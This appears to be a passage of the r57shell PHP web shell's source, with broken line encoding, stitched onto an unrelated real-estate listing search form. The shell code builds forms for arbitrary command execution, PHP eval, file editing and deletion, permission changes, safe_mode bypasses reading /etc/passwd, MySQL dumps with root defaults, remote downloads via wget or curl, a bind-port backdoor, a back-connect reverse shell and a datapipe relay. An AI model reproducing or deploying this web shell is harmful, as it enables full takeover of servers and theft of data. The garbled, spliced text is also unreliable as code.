"[-] ERROR! Can't write in dump file" /n} // end if ($_POST['cmd']=="mysql_dump") /necho "</textarea></div>" /necho "</b>" /necho "</td></tr></table>" /n//////// start table /necho "<table width=100% cellpadding=0 cellspacing=0>" /n/* command execute form */ /necho "<form name=command method=post>" /necho $table_up1 /necho "<b>".ws(1).$lang[$language.'_text3'].$arrow.ws(4)."</b>" /necho "<input type=text name=cmd size=85>".ws(2)."<br>" /necho "<b>".ws(1).$lang[$language.'_text4'].$arrow.ws(4)."</b>" /necho "<input type=text name=dir size=85 value=".$dir.">" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt1']." ">" /necho "</font>" /necho $table_end1 /necho "</form>" /n/* safe_mode form */ /necho "<form name=safe_ls method=post>" /n// dir /necho "<b>".ws(1).$lang[$language.'_text4'].$arrow.ws(4)."</b>" /necho "<input type=text name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=safe_dir>" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt6']." "></form>" /necho "<form name=safe_cat method=post>" /necho "<b>".ws(9).$lang[$language.'_text30'].$arrow.ws(4)."</b>" /necho "<input type=text name=file size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=safe_file>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt7']." "></font>" /necho "</form>" /n/* edit_file form */ /necho "<form name=edit_file method=post>" /necho "<b>".$lang[$language.'_text43'].$arrow.ws(4)."</b>" /necho "<input type=text name=e_name size=85 value=" /necho (!empty($_POST['e_name'])?($_POST['e_name']):($dir)) /necho ">" /necho "<input type=hidden name=cmd size=85 value=edit_file>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt11']." ">" /necho "</font>" /necho "</form>" /n/* mk/del dir/file form */ /necho "<form name=mk method=post>" /necho ws(24)."<b>".$lang[$language.'_text58'].$arrow.ws(4)."</b>" /necho "<input type=text name=mk_name size=54 value=" /necho (!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name")) /necho ">" /necho ws(2)."<select name=action>" /necho "<option value=create>".$lang[$language.'_text65']."</option>" /necho "<option value=delete>".$lang[$language.'_text66']."</option>" /necho "</select>" /necho ws(2)."<select name=what>" /necho "<option value=file>".$lang[$language.'_text59']."</option>" /necho "<option value=dir>".$lang[$language.'_text60']."</option>" /necho "</select>" /necho "<input type=hidden name=cmd size=85 value=mk>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt13']." ">" /necho "</font>" /necho "</form>" /n/* change perm form */ /nif($safe_mode && $unix){ /necho "<form name=ch method=post>" /necho ws(14)."<b>".$lang[$language.'_text69'].$arrow.ws(4)."</b>" /necho "<input type=text name=param1 size=40 value=" /necho (($_POST['param1'])?($_POST['param1']):("filename")) /necho ">" /necho ws(2)."<b>".$lang[$language.'_text70'].$arrow.ws(4)."</b>" /necho "<input type=text name=param2 size=26 value=" /necho (($_POST['param2'])?($_POST['param2']):("0777")) /necho " title='".$lang[$language.'_text71']."'><br>" /necho "<input type=hidden name=cmd size=85 value=ch_>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(15)."<b>".$lang[$language.'_text68'].$arrow.ws(4)."</b>" /necho ws(2)."<select name=what>" /necho "<option value=mod>CHMOD</option>" /necho "<option value=own>CHOWN</option>" /necho "<option value=grp>CHGRP</option>" /necho "</select>" /necho ws(87)."<input type=submit name=submit value=" ".$lang[$language.'_butt1']." ">" /necho "</font>" /necho "</form>" /n/* aliases form */ /necho "<form name=aliases method=POST>" /necho "<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>" /necho "<select name=alias>" /nforeach ($aliases as $alias_name=>$alias_cmd) /necho "<option>$alias_name</option>" /necho "</select>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt1']." ">" /necho "</font>" /necho "</form>" /n/* search text form */ /necho "<form name=search_text method=post>" /necho ws(5)."<b>".$lang[$language.'_text52'].$arrow.ws(4)."</b>" /necho "<input type=text name=s_text size=85 value="text"><br>" /necho ws(8)."<b>".$lang[$language.'_text53'].$arrow.ws(4)."</b>" /necho "<input type=text name=s_dir size=85 value=".$dir."> * ( /root /necho ws(5)."<b>".$lang[$language.'_text55'].$arrow.ws(4)."</b>" /necho "<input type=checkbox name=m value=1 id=m>" /necho "<input type=text name=s_mask size=82 value=.txt /necho "<input type=hidden name=cmd size=85 value=search_text>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<br><div align=center><input type=submit name=submit value=" ".$lang[$language.'_butt12']." "></div>" /necho "</font>" /necho "</form>" /n/* search text with find form */ /necho "<form name=search_text method=post>" /necho ws(5)."<b>".$lang[$language.'_text72'].$arrow.ws(4)."</b>" /necho "<input type=text name=s_text size=85 value="text"><br>" /necho ws(8)."<b>".$lang[$language.'_text73'].$arrow.ws(4)."</b>" /necho "<input type=text name=s_dir size=85 value=".$dir."> * ( /root /necho ws(6)."<b>".$lang[$language.'_text74'].$arrow.ws(4)."</b>" /necho "<input type=text name=s_mask size=85 value=*.[hc]>".ws(1).$lang[$language.'_text75'] /necho "<input type=hidden name=cmd size=85 value=find_text>" /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(1)."<br><div align=center><input type=submit name=submit value=" ".$lang[$language.'_butt12']." "></div>" /necho "</font>" /necho "</form>" /n/* php eval form */ /necho "<form name=php method=post>" /necho "<div align=center><textarea name=php_eval cols=100 rows=3>" /necho (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */rn//unlink("r57shell.php") /necho "</textarea>" /necho "<input type=hidden name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=php_eval>" /necho "<br>".ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt1']." ">" /necho "</font>" /necho "</form>" /n/* php safe_mode break test 1 form */ /nif($safe_mode&&$curl_on) /necho "<form name=test1 method=post>" /necho "<b>".ws(9).$lang[$language.'_text30'].$arrow.ws(4)."</b>" /necho "<input type=text name=test1_file size=85 value=" /necho (!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd")) /necho ">" /necho "<input type=hidden name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=test1>" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt8']." ">" /necho "</font>" /necho "</form>" /n/* php safe_mode break test 2 form */ /necho "<form name=test2 method=post>" /necho "<b>".ws(9).$lang[$language.'_text30'].$arrow.ws(4)."</b>" /necho "<input type=text name=test2_file size=85 value=" /necho (!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd")) /necho ">" /necho "<input type=hidden name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=test2>" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt8']." ">" /necho "</font>" /necho "</form>" /n/* php safe_mode break test 3 form */ /nif($safe_mode&&$mysql_on) /necho "<form name=test3 method=post>" /necho "<b>".ws(27).$lang[$language.'_text36'].$arrow.ws(4)."</b>" /necho "<input type=text name=test3_md size=15 value=" /necho (!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql")) /necho ">" /necho "<b>".ws(13).$lang[$language.'_text37'].$arrow.ws(4)."</b>" /necho "<input type=text name=test3_ml size=15 value=" /necho (!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root")) /necho ">" /necho "<b>".ws(12).$lang[$language.'_text38'].$arrow.ws(4)."</b>" /necho "<input type=text name=test3_mp size=15 value=" /necho (!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password")) /necho ">" /necho "<br><b>".ws(9).$lang[$language.'_text30'].$arrow.ws(4)."</b>" /necho "<input type=text name=test3_file size=85 value=" /necho (!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd")) /necho ">" /necho "<input type=hidden name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=test3>" /necho ws(1)."<input type=submit name=submit value=" ".$lang[$language.'_butt8']." ">" /necho "</font>" /necho "</form>" /n/* file upload form */ /necho "<form name=upload method=POST ENCTYPE=multipart/form-data>" /necho "<b>".ws(7).$lang[$language.'_text6'].$arrow.ws(4)."</b>" /necho "<input type=file name=userfile size=85>  /necho "<br><b>".ws(20).$lang[$language.'_text21'].$arrow.ws(4)."</b>" /necho "<input type=checkbox name=nf1 value=1 id=nf1><input type=text name=new_name size=82>".ws(1) /necho "<input type=hidden name=dir value=".$dir.">" /necho "<input type=submit name=submit value=" ".$lang[$language.'_butt2']." ">" /necho "</font>" /necho "</form>" /n/* file upload from remote host form */ /nif(!$safe_mode&&!$windows){ /necho "<form name=remote_upload method=POST>" /necho "<b>".ws(13).$lang[$language.'_text16'].$arrow.ws(4)."</b>" /necho "<select size="1" name="with">" /necho "<option value="wget">wget</option>" /necho "<option value="fetch">fetch</option>" /necho "<option value="lynx">lynx</option>" /necho "<option value="links">links</option>" /necho "<option value="curl">curl</option>" /necho "<option value="GET">GET</option>" /necho "</select>  /necho "<b>".ws(7).$lang[$language.'_text17'].$arrow.ws(4)."</b>" /necho "<input type=text name=rem_file value=http:// size=85>".ws(2)."<br>" /necho "<b>".ws(7).$lang[$language.'_text18'].$arrow.ws(4)."</b>" /necho "<input type=text name=loc_file size=85 value=".$dir.">".ws(1) /necho "<input type=hidden name=dir value=".$dir.">" /necho "<input type=submit name=submit value=" ".$lang[$language.'_butt2']." ">" /necho "</font>" /necho "</form>" /n/* mysql dump form */ /necho "<form name=mysql_dump method=post>" /necho "<b>".ws(27).$lang[$language.'_text36'].$arrow.ws(4)."</b>" /necho "<input type=text name=mysql_db size=15 value=" /necho (!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")) /necho ">" /necho "<b>".ws(4).$lang[$language.'_text39'].$arrow.ws(4)."</b>" /necho "<input type=text name=mysql_tbl size=15 value=" /necho (!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")) /necho ">" /necho "<b>".ws(4).$lang[$language.'_text37'].$arrow.ws(4)."</b>" /necho "<input type=text name=mysql_l size=15 value=" /necho (!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")) /necho ">" /necho "<b>".ws(4).$lang[$language.'_text38'].$arrow.ws(1)."</b>" /necho "<input type=text name=mysql_p size=15 value=" /necho (!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")) /necho ">" /necho "<input type=hidden name=dir size=85 value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=mysql_dump>" /necho "<br><b>".ws(4).$lang[$language.'_text41'].$arrow.ws(1)."</b>" /necho "<input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=85 value=" /necho (!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")) /necho ">".ws(1) /necho ws(4)."<input type=submit name=submit value=" ".$lang[$language.'_butt9']." ">" /necho "</font>" /necho "</form>" /n/* port bind form */ /nif(!$safe_mode&&!$windows){ /necho "<form name=bind method=POST>" /necho "<b>".ws(14).$lang[$language.'_text10'].$arrow.ws(4)."</b>" /necho "<input type=text name=port size=15 value=11457>".ws(1) /necho "<b>".ws(6).$lang[$language.'_text11'].$arrow.ws(4)."</b>" /necho "<input type=text name=bind_pass size=15 value=r57>".ws(1) /necho "<b>".ws(6).$lang[$language.'_text20'].$arrow.ws(1)."</b>" /necho "<select size="1" name="use">" /necho "<option value="Perl">Perl</option>" /necho "<option value="C">C</option>" /necho "</select>  /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(6)."<input type=submit name=submit value=" ".$lang[$language.'_butt3']." ">" /necho "</font>" /necho "</form>" /n/* back connect form */ /nif(!$safe_mode&&!$windows){ /necho "<form name=back method=POST>" /necho "<b>".ws(22).$lang[$language.'_text13'].$arrow.ws(4)."</b>" /necho "<input type=text name=ip size=15 value=" /necho ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")) /necho ">".ws(1) /necho "<b>".ws(37).$lang[$language.'_text14'].$arrow.ws(4)."</b>" /necho "<input type=text name=port size=15 value=31337>  /necho "<b>".ws(6).$lang[$language.'_text20'].$arrow.ws(1)."</b>" /necho "<select size="1" name="use">" /necho "<option value="Perl">Perl</option>" /necho "<option value="C">C</option>" /necho "</select>  /necho "<input type=hidden name=dir value=".$dir.">" /necho ws(6)."<input type=submit name=submit value=" ".$lang[$language.'_butt4']." ">" /necho "</font>" /necho "</form>" /n/* datapipe */ /nif(!$safe_mode&&!$windows){ /necho "<div align=center><form name=datapipe method=POST>" /necho "<b>".ws(2).$lang[$language.'_text23'].$arrow.ws(1)."</b>" /necho "<input type=text name=local_port size=5 value="31337">".ws(1) /necho "<b>".ws(2).$lang[$language.'_text24'].$arrow.ws(1)."</b>" /necho "<input type=text name=remote_host size=15 value="irc.dalnet.ru">".ws(1) /necho "<b>".ws(2).$lang[$language.'_text25'].$arrow.ws(1)."</b>" /necho "<input type=text name=remote_port size=5 value="6667">".ws(1) /necho "<b>".ws(2).$lang[$language.'_text26'].$arrow.ws(1)."</b>" /necho "<select size="1" name="use">" /necho "<option value="Perl">datapipe.pl</option>" /necho "<option value="C">datapipe.c</option>" /necho "</select>  /necho ws(2)."<input type=submit name=submit value=" ".$lang[$language.'_butt5']." ">" /necho "<input type=hidden name=dir value=".$dir.">" /necho "</font>" /necho "</form></div>" /n/// end table /necho "</table>" /n/* (c) */ /necho "<div align=center><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RusH security team | <a href=http://rst.void.ru>http://rst.void.ru</a> | version ".$version." ]---o</b></font></div>" /necho "</td></tr></table>" /n/* -------------------------[ EOF ]------------------------- */ /n?> /n
Address
Zip / Postal Code
With Images Only
OPTIONS:
Price Range
Any
$ 50,000
$ 75,000
$ 100,000
$ 125,000
$ 150,000
$ 175,000
$ 200,000
$ 225,000
$ 250,000
$ 275,000
$ 300,000
to
Any
$ 50,000
$ 75,000
$ 100,000
$ 125,000
$ 150,000
$ 175,000
$ 200,000
$ 225,000
$ 250,000
$ 275,000
$ 300,000
Bedrooms
Any
1+
2+
3+
4+
5+
6+
7+
8+
9+
10+
Bathrooms
Any
1+
2+
3+
4+
5+
6+
7+
8+
9+
10+
Advanced Search